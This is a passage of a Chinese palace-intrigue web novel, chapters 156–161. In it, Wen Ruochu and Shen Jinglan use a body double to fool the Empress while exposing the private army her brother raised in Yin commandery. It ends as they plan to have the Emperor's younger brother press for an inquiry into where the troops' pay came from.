也不过如此,大家都是女人,不管到什么时候心里装的都是丈夫孩子那点事。 小夫妻两人有隔阂,她也就放心了。 至于温若初肚子里的孽种,宫宴没少叫温若初吃,也真是奇怪了,居然能稳在肚子里这么久,还真是命大。 没关系,来日方长…… 皇后责备地瞅了一眼沈惊澜。 “兵部那么多人,也不能全指望你一个人,听本宫的,这阵子哪都不去,就留在府里陪小初,本宫亲自替你去陛下面前告假。” 抬手染着丹寇的手指,扯下沈惊澜告假的那页,撕扯成条,丢进香炉里。合上册子,像一个向着儿媳妇,又明事理的好婆婆。 “就按本宫说的去做,照顾好本宫的儿媳妇和小皇孙,别的都不重要,回去吧。” 沈惊澜面上不情不愿,起身应声。 “是。” 温若初小女儿家似的,欢欢喜喜地跟着沈惊澜起身,对皇后露出一个人畜无害的灿烂笑意。 “多谢母后。” 第156章 真假沈惊澜 不知道皇后如何游说老皇帝的,温若初和沈惊澜前脚刚回王府,老皇帝允准沈惊澜休假的旨意就到了。 沈惊澜在家陪着她,直到产子,除了每个月的俸禄外,老皇帝还额外送来五百两黄金,就连这几日的请安都免了。 不用上班,工资照拿。 温若初想起自己的牛马生活,都有点羡慕沈惊澜了。 遵循老皇帝和皇后旨意,“沈惊澜”隔天没去兵部点卯,睡到晌午,下午带温若初游湖,晚上带温若初戏园子听曲。 一连两日,两人都没闲着。 皇宫,翊坤宫,皇后寝宫。 负责跟踪沈惊澜和温若初的小太监,把沈惊澜和温若初这两日行踪禀告给皇后。 “奴才连眼睛都没敢眨,两人始终在一起,喝茶听曲的,日落就回府了,在没出来。” 皇后喂笼子里鹦鹉,多喂了两勺鸟食,嘴角愉悦地勾起。 “好啊,给了足够的好处供挥霍,谁还愿意没事找事。” 萧蔷在一边伺候茶水,许是这两日没睡好觉,一脸疲态,黑眼圈都出来了。 “母后,儿臣这心还是跳得厉害,鄞郡的那些兵马是太子殿下私募的,若是被父皇知道了,一定会责罚太子殿下的。” 皇后放下喂鸟匙,回头恨铁不成钢地睨了一眼萧蔷。 “慌什么,星驰是陛下和本宫的骨肉,是太子,将来雍国的江山都是星驰的,屯点兵马怎么了?就算是陛下知道了……” 说到这里皇后的气势也弱了一些,私自募兵,视同造反,是诛九族的大罪。 太子虽说是她和陛下的嫡长子,这事若是摊到陛下面前,陛下心里肯定不舒服,御史台那些老家伙早就看沈星驰不顺眼了,定会揪住这事不放。 想到此,皇后就一肚子委屈,沈星驰不得已在鄞郡屯兵,还不是因为柳妃那个狐狸精。 柳妃有个好娘家,柳家百年世家,柳正平连立军功,柳家野心逐渐膨胀,暗戳戳帮六皇子沈飞白培植势力。 柳妃黏在陛下身边吹枕边风。 陛下经常夸六皇子聪敏好学,有先帝遗风。 太子又一直做不出什么政绩,那段日子屡遭陛下斥责。 她就沈星驰这么一个儿子,不得已才留了这么一个后手,让鄞郡的弟弟萧桂云暗中为太子招募兵马,以备不时之需。 好在苍天有眼,得到天神庇佑,沈飞白死了,没有人会是太子的竞争对手了。 本该解散那些兵马,可那毕竟是耗费心神,真金白银攒下来的。 想着左右将来也是太子继承大统,解不解散也无妨,将来都是要编入军队的,左手倒右手的事,就不麻烦了。 可没想到半路杀出个沈惊澜,非要去什么禹郡找侍从。 禹郡和鄞郡只相隔五十里,难保私募兵马的事不被发现。 陛下毕竟龙体安在,私募兵马多少有点犯忌讳。 皇后继续道,“若是被陛下知道了,就让太子去陛下面前认个错,最多斥责两句,不会有事。” 萧蔷愁眉不解,没因皇后的宽慰放下心。 “可儿臣还是觉得不托底,母后难道没发现,自从沈惊澜和温若初回来,无论是前朝还是后宫就没安生过。” “柳妃自不量力和你斗了二十年,怎么他们回来,柳妃就……” 察觉到皇后脸色逐渐黑了下来,萧蔷后知后觉意识到说错了话,她闭上嘴,母后最听不得柳妃怎样,她是急疯了才在母后面前提起柳妃那个疯婆子。 皇后沉吟半晌,吩咐掌事宫女采莲,“你亲自去荣王府一趟,确保沈惊澜在府里。” 采莲:“是。” 荣王府,后花园。 一条人工开凿出来的池塘横穿整个后花园,阳光洒在水面上,泛起玲玲波光,刚开春的时候,沈惊澜命人撒了点鱼进去,给温若初解闷。 温若初在鼎香阁吃了一次红烧鲤鱼,一发不可收拾,池塘里的鱼隔三差五捞出来做红烧鱼了。 “沈惊澜”休假得了空,没什么事带着温若初来池塘钓鱼。 门房的人来低声禀报:“王妃娘娘,皇后身边的掌事宫女采莲求见。” 温若初坐在鱼塘边,鱼漂往下沉了沉。 “咬钩了!” 扯着鱼线把一条肥鲤鱼拖拽上来,扔进木盆里,瞥了一眼端坐在身边的“沈惊澜”,才不紧不慢起身。 “请采莲姑娘过来。” 没一会儿,丫鬟引着采莲来到荣王府后花园八角亭,这里可观赏到整个后花园景色,八角亭里摆放石桌,石凳。 温若初坐在石凳上,怀里抱着兔子,眉眼含笑地看向采莲。 采莲手里提着雕刻着牡丹花卉式样的食盒,屈膝对温若初行了一个万福礼。 “奴婢见过荣王妃娘娘,娘娘万安!” 手里食盒放到温若初面前石桌上,“皇后娘娘说娘娘快临盆了,胃口不好,特意命奴婢送了些栗子糕给娘娘。” 和温若初说话的时候,抬眼一下子就扫到了坐在池塘边钓鱼的沈惊澜,瞧着身形像沈惊澜,只是距离有些远,侧面对着这边,有些看不清。 温若初起身,唇角含着淡淡笑意。 “谢皇后娘娘。” 采莲落在“沈惊澜”身上那明显怀疑的眼神,看在温若初眼里。 果然,皇后还是有几分心机的,不是那么好糊弄,派人跟了他们两天,没打消戒心,到底是派人过来确认。 “王爷刚刚钓了两条鲤鱼,个头大,又肥硕,采莲姑娘来了,那两条鲤鱼,就送给采莲姑娘,采莲姑娘随我来吧。” 说完抱着兔子朝池塘走了过去。 采莲正想寻个理由凑近去瞧瞧,到底是不是沈惊澜在钓鱼?温若初的话,正好给了她理由,快步跟上温若初的脚步。 第157章 都是演技派 临近池塘边,温若初突然顿住脚步,回头看向采莲,神秘兮兮地竖起食指贴在唇瓣上。 “嘘——” “脚步轻些,鱼儿咬钩的时候最怕受惊,你没来之前,有一条大鱼咬了王爷的钩,我没忍住打了一个喷嚏,鱼儿脱钩了,王爷还说是本宫吓跑了他的鱼,冷了本宫好一会儿,采莲姑娘可务必脚步轻些。” 也不知是警告还是安抚,拍了拍采莲的手臂,也不言明让采莲跟上来,也没明确让采莲等在那。 扭头轻手轻脚地朝“沈惊澜”走了过去。 采莲:“……” 温若初怀着身孕,怕吓走鱼儿尚且虚轻手轻脚地过去,她一个奴才,又没练过什么轻功,走路怎么可能一点声音都没有。 可皇后让她务必确保沈惊澜在府…… 采莲杵在那,跟上也不是,不跟上也不是。 采莲正犹豫着,只见不远处,温若初放轻脚步走到“沈惊澜”身边,似乎是鱼儿咬钩了,两人对视笑了笑,温若初和“沈惊澜”说了一句话,“沈惊澜”偏头朝这边看了一眼,又很快转回头。 采莲赶紧屈膝对“沈惊澜”行了一个万福礼。 一个小丫鬟拎着两条鲤鱼过来。 “我家王爷和王妃送给姑娘的两条鲤鱼。” 月儿拎着鱼,高举过头,往采莲面前凑,露出两排洁白牙齿,笑得一脸纯洁无害。 鲤鱼是新钓上来的,活蹦乱跳的,比采莲的脸还大,紧贴着她的脸就贴上来,也是巧了,鲤鱼转递到采莲手上的时候,鱼儿激动地甩了两下尾巴,“啪啪”两下打到采莲脸上。 采莲嫌弃得直咧嘴,连连后退好几步。 “谢娘娘。” 道谢过后,转身就走,快步走出荣王府大门口,钻进门口等她的马车里,马车转了一个弯,两条鲤鱼从车窗扔了出来。 两条大鲤鱼身上多了几道整齐平滑的刀口,内脏从刀口滑了出来,顽强地在地上打了两个挺,彻底不动了。 荣王府这边,采莲走后众人都如获大赦一般松了一口气。 冯文穿着沈惊澜平常穿的衣裳,抹了一把脑门上的冷汗,后怕地拍了拍胸脯。 “可吓死我了,没穿帮吧?” 小辛赶紧安慰冯文道。 “没穿帮,演得可像,我跟着阁主五六年了,打远一看你坐在那,就是阁主。” 秋菊和月儿也附和小辛,“没有。” “行了,都去忙吧。”温若初打断几人闲聊。 老皇帝降下允准沈惊澜休假圣旨的当晚,沈惊澜就去禹郡了。 能让皇后和太子妃如此挂心,足以证明沈星驰这次犯的事不小,料定皇后一定会派人反复确认沈惊澜未离开都城。 于是就想出让冯文假扮沈惊澜这么一个馊主意。 照着沈惊澜的模样给冯文画了半个时辰的妆,只要不凑近扒着他的脸看,也有七八分像沈惊澜。 冯文没有沈惊澜个子高,也没沈惊澜身上那种矜贵清冷疏离的气质,只能坐下来,不说话,掩盖两人之间不相同的地方。 其实凌玄礼比冯文更适合假扮沈惊澜,无论身材,气质,都很像沈惊澜。 沈惊澜和凌玄礼两个人凑到一起,就像是激发出某种反应似的,见面就掐。 综合考虑,假扮沈惊澜的人最终确定了冯文,为增加可信度,迷惑皇后,还特意把沈惊澜的侍从小辛留下。 从采莲的反应来看,采莲应该是相信了。 温若初吩咐小辛,“去把鱼捡回来。” “啊?” 小辛愣了愣,不明所以地挠了挠脑袋。“什么鱼?” “咱们的鱼,出了门口左转,不出两条街,去找吧,路边肯定有鱼。”温若初笃定道。 小辛还是不大明白路边怎会有鱼,还是听从温若初的话出去找鱼。 秋菊月儿冯文也不理解,没一会儿,小辛拎着两条鱼回来了,乐颠颠的。 “王妃你怎么知道采莲会把咱们送她的鱼丢在路边。” “多观察,自然就能看出来了。” 温若初浅笑,采莲指甲圆润,修剪整齐,鞋面一丁点灰都没有,十有八九是个有洁癖的。 刚从池塘里钓上来的鱼,浑身黏腻腻的一股子腥味,采莲作为翊坤宫的掌事宫女,什么鱼没吃过,断然不会把她送的鱼当成宝贝似的拎回皇宫。 注意到鱼身上的伤口…… 奴才是主子手里的刀,奴才恭维什么人,厌恶什么人,从一定程度上也在代表着主子的想法。 温若初嘴角翘起,不以为意地轻嗤一声。 “采莲姑娘帮打完花刀了,送去厨房,晌午炖红烧鱼。” 众人欢呼,各忙各的去了,冯文落后小辛他们很远,犹豫半晌,回到温若初面前。 “公主,方才翊坤宫掌事宫女在这一直盯着我看,我心脏都快吓出来了,姑爷什么时候回来啊?” “快则三五日,最慢不超过十日,王爷给你在嘉和坊那边给你置办了一处宅子,明年给你相看一家姑娘,就在这把家安下来。”温若初道。 沈惊澜也不知道哪根筋搭错了,不止给冯文置办了宅子,就连秋菊和月儿的嫁妆都准备出来了,可那两个丫头没有嫁人的心思,想留在她身边。 一大早她收到来自鄞郡的消息,叛徒武兴已经被沈惊澜秘密处决了。 至于追风—— 追风送达沈惊澜写给大虞女皇的两封信,完成任务折返雍国都城,途径禹郡之时,巧遇武兴,发现武兴背叛天机阁的秘密,被武兴灭口。 难怪追风失踪了好几个月,沈惊澜先后派了好几拨人去禹郡附近调查,钧一无所获,原来折在自己人手里。 尽管有心里准备,可当亲耳听到追风没了的消息,温若初心里还是难受得厉害。 追风还未及冠,那样一个意气风发的少年,年纪轻轻就这么没了。 沈惊澜传回来的消息还提到,处决武兴之前,武兴交代已经投奔鄞郡郡守萧桂云,也就是说皇后知道天机阁的存在,也知道沈惊澜是天机阁阁主。 这就很容易说通了,沈惊澜一个滞留大虞多年的质子,回国后无权无势,势单力薄,人人避而远之,他们抵达雍国没多久,皇后几次三番表现出拉拢之意。 温若初记得他们初到都城的时候,皇后对待他们极其敷衍,虽也送了些东西,彰显皇后母仪天下爱护皇子的胸怀,可言语间的鄙夷嫌弃就差直接说出来了。 皇后态度前后反差强烈,温若初一直疑惑问题出在哪,原来出在了天机阁上。 如此一来,他们和皇后就变成明牌了。 万幸皇后那边还不清楚她和沈惊澜的真实目的。 他们和皇后尚且还能周旋一二。 鄞郡军需耗损异常也已查明原因,鄞郡有人私募兵马,主办之人正是鄞郡郡守,皇后的亲弟弟萧桂云,花名册和账本都已经找到。 私募兵马视同谋逆,是诛九族的重罪。 沈惊澜这次秘密前往禹郡,收获颇丰,这两日就能回都城。 第158章 密旨 皇宫,翊坤宫。 采莲向皇后回禀在荣王府后花园池塘见到沈惊澜的情景。 “……奴婢亲眼所见,沈惊澜确在府里。” 皇后靠坐在贵妃榻里,撑着脑袋,闻言长长舒出一口气。 那个萧蔷就是不顶事,出了一点小事,还没怎么着呢,就慌里慌张地失了魂,自己吓自己,不堪重用。 她答应沈惊澜去禹郡找什么劳什子追风,有人帮他办事。沈惊澜顾着陪老婆孩子,怎么会没事闲的跑去禹郡。 像是突然想到了什么,撩起眼皮看向刁嬷嬷。 “鄞郡那边这两日有什么异常没有?” 刁嬷嬷给皇后换了一盏温热茶水,“昨天国舅爷还来信,请娘娘的安,那边应该是没出什么岔子。” 皇后起身点点头,绷起来的那根神经,算是彻底放松下来,红唇勾起愉悦弧度。 “那就好” 刁嬷嬷伺候在一边,眉心紧蹙,一脸难色,犹豫了好半天才开口。 “启禀娘娘,老奴有一句话不知当讲不当讲?” 皇后嗔怪地睨了刁嬷嬷一眼。 “本宫还没嫁给陛下的时候,你就跟着本宫了,三十多年的情分,怎么说话吞吞吐吐起来了,有什么话直说。” 刁嬷嬷点了一下头,缓缓道。 “温若初临盆在即能拖住沈惊澜些时日,可到底不是长久之计,老奴听说追风和沈惊澜感情匪浅,我们交不出追风,沈惊澜早晚还是要去禹郡。” “沈惊澜若是本分些在禹郡转悠也就罢了,但凡沈惊澜勤快点往鄞郡那边走一走,那支五万的军队,可难保不被发现。” “就算沈惊澜不往那边走,沈惊澜探听追风消息的时候,也可能听到一两句鄞郡那边的事,毕竟禹郡和鄞郡只隔五十里,还有天机阁……” “近日来陛下咳疾好转,多有过问政务,有些东西送给别人是一回事,可别人惦记着有想要拿的意思,那就是另一回事了。” 皇后面色逐渐凝重起来,脸色煞白。 她和陛下做了三十几年的夫妻,清楚陛下对沈星驰这个嫡长子的宠爱,以及寄以厚望的程度,可也知道伴君如伴虎的道理。 不管是出于何种原因私屯兵马,到底是犯了忌讳。 皇后扭头看向刁嬷嬷。 “那你的意思是……” 刁嬷嬷:“太子将来板上钉钉就是要承袭大统的,不如……舍弃掉那支兵马,不犯陛下忌讳,不惹陛下生气,不求有功,但求无过,安稳度过这几年,日后雍国的江山都是皇后娘娘您和太子殿下的。” 遣散那支军队? 刁嬷嬷说的有几分道理,可屯在鄞郡的那支军队毕竟是真金白银招募起来的,是她攒了十几年攒下的家底。 那么多银子砸进去,就这么遣散了…… 皇后还是有些舍不得。 “五万人的军队屯在鄞郡确实有些扎眼……” 她思忖半晌继续道,“传信给鄞郡郡守,留下两万兵马,剩下的全部遣散。” 手里没有自己的兵权,她不踏实。 两万兵马明晃晃地屯在那也多啊,刁嬷嬷愁眉不展,该劝的都劝过了,剩下的只能看天意了。 “娘娘,遣散三万人也是需要些时日的,这段日子可千万不能出差错啊。” “旁人到好说,沈惊澜和温若初虽对娘娘和太子殿下恭顺有佳,可他们夫妻二人一直都没明确表示出归于太子麾下意图,和陛下反倒走得越来越近,不得不妨。” “你说得对。” 皇后端起茶盏,咂了一口茶水,沉默半晌,再抬眼眸光锐利而坚定。 “传召荣王和荣王妃,明日申时,本宫要在翊坤宫设宴宴请他们夫妻二人,本宫就不信招不进来沈惊澜和温若初。” “人要往长远看,本宫要让他们知道,将来这雍国是谁的,与其多走弯路,不如早些认清现实。” 老天爷给了沈惊澜活着回来的机会,就该感恩戴德,好生珍惜,而不是拿太子的闲事,去讨陛下的欢心。 负责给荣王府传懿旨的小太监,不多时回来禀告。 “回禀皇后娘娘,荣王妃说荣王殿下晌午吃坏了肚子,人在屋里躺着下不来床,请皇后娘娘体恤他们。” 皇后心里咯噔一下,好像哪里不对,又说不出来哪里不对。 一股无来由的焦躁在心底肆虐,皇后重重拍了一下方桌,茶盏都跟着颤了颤。 “他们抗旨不成?” 刁嬷嬷端来一盏茶水,给皇后顺气。 “娘娘息怒,他们不来,娘娘也可以去,正好瞧瞧荣王是否真的在府,若是不在,那就是违逆了陛下的旨意,若是在,娘娘正好借此彰显皇后懿德,关爱皇子,将来沈惊澜若是做出不利于娘娘的太子的事,那就是不忠不孝,遭天下人咒骂。” 从前没什么利益冲突,皇后还愿意演一演母慈子孝,如今沈惊澜快要在她头上动土了,叫她如何能坐得住? “沈惊澜算是个什么东西,一个外族妖女生的孽种,也配让本宫去探望?” 等皇后发完脾气,刁嬷嬷才说道。 “那就传召荣王殿下和荣王妃进宫,荣王不是病了?宫里有御医。” 皇后点点头,“就按你说的办。” 温若初再三推诿皇后传召她和沈惊澜进宫的懿旨,直到第三日,收到来自鄞郡的消息,她才回了皇后,独自前往翊坤宫。 温若初在皇后面前站定,微微低了低头算是行过礼。 “儿臣见过母后,母后千岁千岁千千岁。” 皇后见温若初自己来的,脸色难看至极,看温若初的眼神都是带着不加掩饰的怒火的,少了之前婆媳见面的和颜悦色,也不赐座了。 冷声质问,“本宫传召的是荣王和荣王妃,怎么只你自己来了,荣王呢?” 温若初自顾坐到一边的空位里,嘴角带着坦然笑意。 “荣王这会不能来见母后了。” “为何?”皇后急着问道,面色愈发紧张。 温若初看向皇后,淡淡道。 “荣王得了父皇密旨调查鄞郡军需耗损异常一事,这会在御书房回话呢。” 第159章 皇后的“好儿媳” 不应该啊,前两日萧桂云还写信问安来着,怎么就被沈惊澜摸了过去? 沈惊澜不是一直在都城,整日陪着温若初? 天机阁也一切正常…… 莫不是沈惊澜和温若初设下的圈套,故意做戏给她看? 皇后捋顺了因果,不大相信温若初和沈惊澜居然能默契配合做到天衣无缝,连她都骗了过去。 可事实如此,又不得她相不相信。 皇后面上血色瞬间退得干净,下意识端起手边茶盏掩饰慌乱,茶盏在她手中微微颤抖,洒出些许茶水在衣袖上。 刁嬷嬷接下皇后手里茶盏,递给身后宫女。 “哪个粗心大意的,茶水这么烫也敢端上来,去换一盏温的过来。” 刁嬷嬷用帕子擦去皇后衣袖上的茶渍。 “娘娘是母仪天下的皇后,平常待奴才们仁厚,可也不能太纵着了。” 皇后撩起眼皮和刁嬷嬷对视一眼,听懂了刁嬷嬷暗示。 小宫女换来一盏温热茶水,皇后喝了一口,缓了缓心神,看向温若初。 厉声怒喝一声:“大胆!” “前几日本宫传召你和荣王,你还说荣王身子抱恙,胆敢信口雌黄诓骗本宫这个嫡母?如此忤逆不孝,你可知罪?” 温若初歉意笑了笑。 “母后恕罪,儿臣不敢,实在是事出有因,儿臣不得已才出此下策,父皇给荣王下了密旨,有宵小之辈胆敢在鄞郡屯兵,所用军需以朝廷正规军队损耗填充,荣王受皇命,前往鄞郡调查,为避免走漏消息,才如此。” 早在沈惊澜发现鄞郡军需异常就禀告给老皇帝。 知道老皇帝的德行,护着沈星驰,萧桂云是沈星驰的亲娘舅,老皇帝心明镜萧桂云帮沈星驰和皇后做事。 沈惊澜没直说鄞郡郡守萧桂云募兵,而是换了一个贪墨的名头,罪名不轻不重,容易接受。 老皇帝很痛快地给沈惊澜下了一道密旨,让沈惊澜酌情处理。 不知道沈惊澜回来,给老皇帝捧回来一个炸弹,老皇帝作何感想。 刁嬷嬷接过话茬,“这就是荣王妃娘娘的不是了,皇后娘娘听说荣王殿下身子抱恙,好几日都没睡好,王妃娘娘连个口风都不吐,实在是有些不近人情,皇后娘娘怕是要伤心的。” 说着话,总管太监李公公来传话。 “娘娘,陛下叫您去御书房。” 温若初挑了挑眉,看来沈惊澜那边的进展不错,这下要有热闹看了。 私募兵马,可是诛九族的重罪,这把火能不能烧到沈星驰身上未可知,皇后的九族怕是要不保了。 皇后站起身,刁嬷嬷帮她理了理衣裳,两人低声说了什么,温若初站得远听不清。 皇后经过她的时候,脚步微顿,扯出一抹僵硬笑意。 “你还真是厉害,本宫竟没看清你。” 温若初坦然接受夸赞,“谢母后抬爱。” 皇后鼻音轻哼一声,淡淡扫了一眼温若初,眼神冰冷,带着明显的警告和威胁意味。 温若初假装没读懂皇后的眼神,不以为意嘴角挂着浅浅笑意,她目送皇后。 “儿臣恭送母后。” 御书房 老皇帝端坐龙之上,脸色阴沉,一页一页地翻看面前沈惊澜呈递上的账本,账本上记录着近几年鄞郡军费支出。 萧桂云私自募兵的花名册,账册和卷宗都摆在老皇帝手边,是刚刚翻阅过的。 御书房内气氛紧张而凝重,安静异常,只有老皇帝查看账本的翻页声响,众人大气不敢喘。 沈惊澜和御史台还有三司的几位老臣站在殿前。 御史台和三司的人不是沈惊澜私下叫来的,沈惊澜从鄞郡回来,先是传信给温若初报平安,连家门都没回,直接进宫禀告鄞郡调查到的情况,凑巧御史台和三司的人都在。 御史台拉着三司的人弹劾太子沈星驰,因一桩争风吃醋的案子,沈星驰看中了一个兵部员外郎的夫人,几番跟踪调戏,那位员外郎的夫人不忍受辱投缳自尽了,留下一个尚在襁褓中的婴孩。 这位员外郎四处投告,迫于太子权势,投告无门,在刑部衙门门外也上吊自杀了。 好好的一个家就这么散了,只剩下一个孩子。 这事传得沸沸扬扬,百姓自发到御史台门口请命,御史台被迫接下这桩案子。 御史台刚说完员外郎的案子,沈惊澜就来了。 老皇帝听御史台念叨的心烦,一个巴掌拍不响,那个员外郎夫人也定是有错,她若是守妇道,整日待在后宅,太子怎么会调戏她? 到底是出了人命,正是群情激奋,他虽贵为一国之君,却不能为太子说话。 正寻思着找一件旁的事岔开,拖段时日,派太子去江南赈灾,有了政绩,这事也就过去了。 赶上沈惊澜回来了,老皇帝直接让沈惊澜禀告鄞郡那边军用物资耗损异常的案子。 没想到沈惊澜说的案子更让人抓心。 沈惊澜缓声道:“儿臣把鄞郡郡守带了回来,已经确认鄞郡的那些兵马就是鄞郡郡守萧桂云亲自招募,卷宗里有萧桂云画过押的口供,萧桂云亲口承认……” “朕果然没看错你。”老皇帝合上账本,打断沈惊澜后面的话。 “朕让你去查军需物资贪墨案,你竟查出萧桂云谋逆案,证据链条清晰,此等雷霆手段,缜密心思,当属年轻一代楷模,有先皇遗风。” 皇后走到御书房门口,听到的就是这么一句夸赞沈惊澜的话。 这话陛下可不是第一次对皇子说,上次夸的还是沈飞白。 她并不知老皇帝和柳家那些暗中较量,只知道六皇子沈飞白还活着的时候,陛下很是看中沈飞白,给沈飞白安排重要职位,曾一度比肩太子。 这句夸赞如一根尖刺扎进皇后心里。 天是要变了,男人果然是靠不住,皇后暗自庆幸还留了点家底。 沈惊澜自然也听说过老皇帝曾经不止一次对沈飞白说过,沈飞白能力卓著,有先帝遗风。 沈飞白是怎么死的,他比任何人都清楚。 老皇帝的这句“先帝遗风”是肯定,也是警告。 警告他恪守本分,不该多管闲事。 沈惊澜恭顺道:“父皇谬赞了,先帝远见卓识,有雄才大略,儿臣难以望其项背,不敢和先帝相提并论,儿臣调查鄞郡军需案,是父皇当机立断允准儿臣调查,儿臣也只是尽为人臣子应尽的本分罢了。” 众人纷纷附和沈惊澜,猛夸老皇帝英明,教子有方,一顿彩虹屁。 老皇帝脸色稍霁。 第160章 诱敌深入 听着里面气氛不那么严肃了,皇后让太监通传,里面很快传出让皇后进御书房的声音。 皇后抬步走进御书房,按照刁嬷嬷教她的,给老皇帝行礼之后就开始扮柔弱,装委屈,把所有错处都推到萧桂云身上。 刁嬷嬷本意让皇后单独向老皇帝哭诉,以为皇后明白了她的意思,就没详细嘱咐,万万没想到尚书房还有外臣在。 皇后听说沈惊澜得了密旨调查鄞郡,早已六神无主,失去思考能力,刁嬷嬷怎么教的,她就怎么做。 不管不顾,走进御书房当即跪地不起,哭得上气不接下气。 “都是妾身的错,妾身约束亲眷不力,险些酿成大错,请陛下责罚,妾身绝不阻拦……” 话里话外萧桂云私募兵马和她无关,她不知情,她也是刚刚知道。 一位年近五十的皇后,满头珠翠,一脸皱纹,御书房当众痛哭,多少有些失了体统,御史台和三司的人一脸尴尬。 老皇帝比三司和御史台的人还尴尬,轻咳好几声,皇后自顾哭天抢地哭着,没注意到他的眼色。 老皇帝板着脸色,无奈看向众人。 “都先下去。” “是。” 沈惊澜和御史台以及三司的人齐声道,纷纷退出御书房。 等在御书房门口的范天恩见沈惊澜出来,赶紧迎了上去,眉眼间透着一股兴奋,低声道。 “真是巧了,御史台和三司的人也在,也亏得他们在,萧桂云的案子势必会有个说法,武兴和萧桂云勾结在一起,追风兄弟在九泉之下也可以瞑目了,咱们的运气不错。” 沈惊澜眉心微蹙,不置可否,老皇帝的态度很明朗,鄞郡私募兵马案子也就是到萧桂云这里。世人皆知萧桂云是皇后的弟弟,为人庸弱胆小怕事,能做出私募兵马这种掉脑袋的事,背后定是有人授意。 老皇帝越是存私心护着沈星驰掩饰事实真相,越是把沈星驰推向深渊。 沈星驰这个太子位暂时稳了,老皇帝的皇位可就不稳了。 范天恩还在喋喋不休地念叨着御史台和三司“凑巧”来御书房觐见老皇帝的事。 沈惊澜瞥了范天恩一眼。 “世上哪有那么多巧合?” 不过是有人刻意为之罢了。 利用百姓之口,无限放大矛盾,煽动百姓情绪,逼御史台不得不出手,有组织有预谋,四两拨千斤,可以躲在背后,又没有任何损失。 此等手段基本无解。 沈惊澜太熟悉这种打法了。 他从鄞郡回来直接进宫禀告案情,还没见温若初,更没通过气。 当他走进御书房听了两句御史台那些人控诉沈星驰罪行,联想到路过御史台,数以千计百姓堵在御史台门口,他便知是温若初在背后造势。 范天恩一脸不明所以,“啊?不是巧合,难不成有人刻意安排?可御史台那些老顽固,陛下都拿他们没办法,谁能支使动他们?” 沈惊澜并不想和范天恩解释,“回府。” 荣王府 温若初听完沈惊澜回来讲述的御书房情况,一整天都丧眉丧眼的。 追风是因为凑巧撞见武兴和鄞郡郡守萧桂云往来,被杀人灭口,这条人命债,萧桂云也有份。 沈惊澜回来没一会儿,刑部那边传来消息。 萧桂云前脚关进刑部大牢,后脚就被赐了一杯毒酒,死了。 听说老皇帝后来又召见了太子沈星驰,没人知道老皇帝和皇后太子说了什么。 只是后来皇后和太子从御书房出来的时候,母子二人脸色不好,大抵是受到了老皇帝训斥。 鄞郡的私募兵马案就这么结束了,追风因撞见武兴密会萧桂云,一时没防备,死在武兴手上。 武兴死了,萧桂云也死了。 追风的仇也算是报了。 温若初换上一身素色衣裳,往铜盆里扔了两叠纸钱,越琢磨,心里越是堵得慌。 “这仇报了,又好像没报。” 范天恩半蹲在铜盆前,听说皇后和太子全须全尾地从御书房出来,骂骂咧咧了一下午,愤愤不平道。 “陛下是老糊涂了,萧桂云帮皇后和太子私募兵马,账本和花名册都摆在眼巴前了,有萧桂云白纸黑色的画押,就装没瞧见。” 沈惊澜眉目低垂,坐在温若初身边,看着面前的铜盆,沉默了一下午,纸钱燃烧的火光映在他那张俊脸上,神色冷厉而落寞。 温若初轻声劝慰沈惊澜,心里难受,硬是挤出一抹笑意。 “其实这次我们也不算落了空,老皇帝训斥了皇后和太子,还搁置了太子手上所有政务,老皇帝皇后和太子之间看似牢不可摧的关系,实际上已经出现了嫌隙。” “我们不如趁热打铁,抓准时机扩大这个嫌隙。” “皇后母族萧家在雍国既非商贾,也非簪缨世族,萧家仗着皇后的势这些年才慢慢兴起,族中没有能力超群的父兄,子侄辈也每一个顶用的,萧家无权无势更没什么钱,萧家整个家族都是能过且过的躺平状态。” “五六万规模的兵马,养这么多,需要银子不是小数目,光军饷支出这一项,每年粗略估算至少三千万两,军需用品和雍国军队的混淆在一起,只能节省一部分开支,这军饷从哪出?” 沈惊澜和范天恩同时看向她,沈惊澜略微迟疑一瞬是明白了,范天恩不明白。 “从哪出啊?” 萧家没钱,皇后必然是把手伸到了政务上,从旁处捞取银子,补上了她私募的这支军队军饷的空缺。 皇后太子和老皇帝之间已经出现了嫌隙,只要老皇帝同意调查军饷来源,一波未平一波又起,皇后那边必然会自乱阵脚。 调查军饷是小,真正的目的是敲山震虎,引老虎慌不择路,朝他们提前布下的陷阱方向跑。 第161章 心腹还是心腹大患 沈惊澜和温若初对视一眼,心照不宣,没搭理范天恩的问题。 沉吟半晌,抬眼看向温若初。 “安郡王沈烨前两日刚回来,我去找沈烨。”说话起身就走。 安郡王沈烨是喜好游山玩水,是老皇帝最小的弟弟,性子率直跳脱,从未染指权利争斗,老皇帝很是喜欢这个弟弟,更是把沈烨当做儿子在养。 沈烨游历之时,曾到大虞看过沈惊澜,也算是有点交情。 温若初知道沈烨这位小皇叔,比沈惊澜年长几岁,嘴巴毒得厉害。 书中沈惊澜掀翻雍国朝廷弑父杀兄,沈氏宗亲都快被杀干净了。 除了被提前送走的沈星驰长子沈桓外,这位喜好游山玩水的安郡王沈烨是结局最好的一个,一生无忧都在当他的游山玩水闲散郡王。 沈惊澜刚刚背后使刀子打了皇后一个措手不及,取下萧桂云人头。 老皇帝虽斥责了皇后和太子,对沈惊澜也一定心生芥蒂。继续不依不饶追查鄞郡私募那些兵马军饷来源,恐惹老皇帝猜忌。 请求追查军饷来源这事,需要一个老皇帝信任且远离朝堂的人,沈烨正合适。 御乾宫,老皇帝寝宫。 老皇帝盘膝坐在床榻上,沉思半晌,手中黑旗落在黑白棋子密布的棋盘上。 沈烨一身天蓝色锦袍,曲起一条腿,坐姿吊儿郎当,盯着棋盘上黑子刚刚落下的点,眉心微蹙,啧了一声。 “又输给皇兄了,每次都这样,没意思,不玩了。” “哈哈,上次三十回合就被朕杀得片甲不留,这次已经四十回合了,怎么不算进步呢?” 老皇帝哈哈笑了两声,让总管太监李公公撤下棋盘。 “这次回来打算在都城住多久?” 沈烨揪了一颗葡萄扔嘴里,一脸心疼抱怨道。 “别提了,皇兄是不知道,我这次回来寻思收拾收拾书房,一些孤本藏书都被蠹虫咬了,整套的《北方真武玄天上帝出身志传》就剩半本了。” “怎么如此严重?没做熏虫?”老皇帝咂了一口茶,闲聊似的随口问道。 沈烨见老皇帝上道,叹了一口气,接着说道。 “说来也怪我,去年就有几本古籍被蠹虫祸害了,不严重,被咬的几本古籍也不是我喜欢的,我也就没当回事,哪曾想那些蠹虫贪得无厌,不过是一年,差点把我书房都毁了。” 沈烨捶胸顿足怒骂啃食书籍的蠹虫好一会儿。 